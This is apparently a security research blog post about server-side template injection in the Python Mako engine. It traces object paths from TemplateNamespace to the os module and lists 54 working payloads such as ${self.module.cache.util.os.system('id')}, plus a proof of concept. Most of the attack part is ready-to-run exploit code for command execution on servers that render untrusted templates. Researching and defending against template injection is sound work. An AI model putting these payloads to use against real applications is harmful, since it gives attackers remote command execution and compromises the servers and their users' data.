Python context free payloads in Mako templates

Table of contents :

Introduction

A few weeks ago, I presented an article on code execution in Jinja2 templates in which I built context-free payloads and allowing access to the os module every time. Today, I present to you another template engine, Mako.

The Mako template engine is used in the Pylons and Pyramid web framework and on the site reddit.com

Reconnaissance phase

First of all, we will look for interesting elements in the source code of the module. To do this, you have to install Mako (python3 -m pip install mako), and type the following lines in a Python interpreter to get the location of the module:

# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> import mako
>>> mako.__file__
'/usr/local/lib/python3.10/site-packages/mako/__init__.py'
>>>

The Python module has a few files and is organized like this:

mako/
  ├── __init__.py
  ├── _ast_util.py
  ├── ast.py
  ├── cache.py
  ├── cmd.py
  ├── codegen.py
  ├── compat.py
  ├── exceptions.py
  ├── ext
  │   ├── __init__.py
  │   ├── autohandler.py
  │   ├── babelplugin.py
  │   ├── beaker_cache.py
  │   ├── extract.py
  │   ├── linguaplugin.py
  │   ├── preprocessors.py
  │   ├── pygmentplugin.py
  │   └── turbogears.py
  ├── filters.py
  ├── lexer.py
  ├── lookup.py
  ├── parsetree.py
  ├── pygen.py
  ├── pyparser.py
  ├── runtime.py
  ├── template.py
  └── util.py

Interesting elements

The first thing to do is to find all the files with the directly imported os module:

root@fb55bf594db4:/usr/local/lib/python3.10/site-packages/mako# grep -Rni 'import os' .
./util.py:12             :import os
./ext/autohandler.py:28  :import os
./template.py:11         :import os
./template.py:180        :         import os
./lookup.py:7            :import os

This will be useful to create direct paths to the os module from the TemplateNamespace object.

Exploring paths in the Mako module

TemplateNamespace

To build this payload, we’ll start from the TemplateNamespace object and try to connect the paths to these modules through the Python objects.

>>> from mako.template import Template
>>> print(Template("${self}").render())
<mako.runtime.TemplateNamespace object at 0x7f1174fcac50>
>>>

A first path to os from TemplateNamespace

The first thing we can notice is that the TemplateNamespace object is declared in the mako.runtime submodule (runtime.py file). So let’s go to the beginning of this file to find the interesting imports:

# mako/runtime.py
# Copyright 2006-2020 the Mako authors and contributors <see AUTHORS file>
#
# This module is part of Mako and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php

"""provides runtime services for templates, including Context,
Namespace, and various helper functions."""

import functools
import sys

from mako import compat
from mako import exceptions
from mako import util
from mako.compat import compat_builtins

These are very interesting results! We have access to the util submodule (util.py file) in the runtime submodule. However, we saw above that the os module is imported into the util.py file. We will therefore access it in two stages.

First step, access the util submodule. To do this we will use the .__init__.__globals__ technique. We start from the self instance of the TemplateNamespace object and then we go back to its self.__ init__ constructor. Then from the constructor, we will go back to the __globals__ dictionary containing all the global variables of the file (and therefore the imported modules). Then we just need to access the ['util'] key of the __globals__ and we arrive in the util module. Finally, we just have to do a ['util'].os to access the os module of this submodule. The final payload therefore becomes:

>>> print(Template("${self.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

This path to bone was the most obvious to find, but we can find more!

Introspection on TemplateNamespace

To go further and find new paths, we need to list the attributes of self:

>>> print(Template("${f(self)}").render(f=dir))
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri']

We will iterate over the attributes of the object to display its name and type each time. To do this you have to use these few lines of python, allowing to regenerate a template each time and to display its result:

subkeys = [
    '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
    '__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
    '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
    '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
    '__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
    'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
    'include_file', 'inherits', 'module', 'name', 'template', 'uri'
]

for subkey in subkeys:
    try:
        print(Template("%s => ${f(self.%s)}" % (subkey, subkey)).render(f=type))
    except Exception as e:
        pass

And we get:

__class__ => <class 'type'>
__delattr__ => <class 'method-wrapper'>
__dict__ => <class 'dict'>
__dir__ => <class 'builtin_function_or_method'>
__doc__ => <class 'str'>
__eq__ => <class 'method-wrapper'>
__format__ => <class 'builtin_function_or_method'>
__ge__ => <class 'method-wrapper'>
__getattr__ => <class 'method'>
__getattribute__ => <class 'method-wrapper'>
__gt__ => <class 'method-wrapper'>
__hash__ => <class 'method-wrapper'>
__init__ => <class 'method'>
__init_subclass__ => <class 'builtin_function_or_method'>
__le__ => <class 'method-wrapper'>
__lt__ => <class 'method-wrapper'>
__module__ => <class 'str'>
__ne__ => <class 'method-wrapper'>
__new__ => <class 'builtin_function_or_method'>
__reduce__ => <class 'builtin_function_or_method'>
__reduce_ex__ => <class 'builtin_function_or_method'>
__repr__ => <class 'method-wrapper'>
__setattr__ => <class 'method-wrapper'>
__sizeof__ => <class 'builtin_function_or_method'>
__str__ => <class 'method-wrapper'>
__subclasshook__ => <class 'builtin_function_or_method'>
__weakref__ => <class 'NoneType'>
_get_star => <class 'method'>
_populate => <class 'method'>
_templateuri => <class 'str'>
attr => <class 'mako.runtime._NSAttr'>
callables => <class 'tuple'>
context => <class 'mako.runtime.Context'>
filename => <class 'NoneType'>
get_cached => <class 'method'>
get_namespace => <class 'method'>
get_template => <class 'method'>
include_file => <class 'method'>
inherits => <class 'NoneType'>
module => <class 'module'>
name => <class 'str'>
template => <class 'mako.template.Template'>
uri => <class 'str'>

A few lines seem particularly interesting:

attr => <class 'mako.runtime._NSAttr'>
context => <class 'mako.runtime.Context'>
module => <class 'module'>
template => <class 'mako.template.Template'>

For the attr attribute, we know that it is located in the mako.runtime submodule which contains an import to the mako.util submodule which itself imports os. So we can access it directly like this:

>>> print(Template("${self.attr.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

The same for the context attribute located in the same mako.runtime submodule:

>>> print(Template("${self.context.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>

By repeating the operation on each attribute and its sub-attributes we can find a large number of paths to os!

Final payloads

By exploring all the attributes on a depth of 8 levels maximum, I was able to find 54 direct accesses to the os module in Mako, allowing access every time. Here they are :

${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

Here is the proof of concept:

# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> from mako.template import Template
>>> print(Template("${self.module.cache.util.os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
>>>

References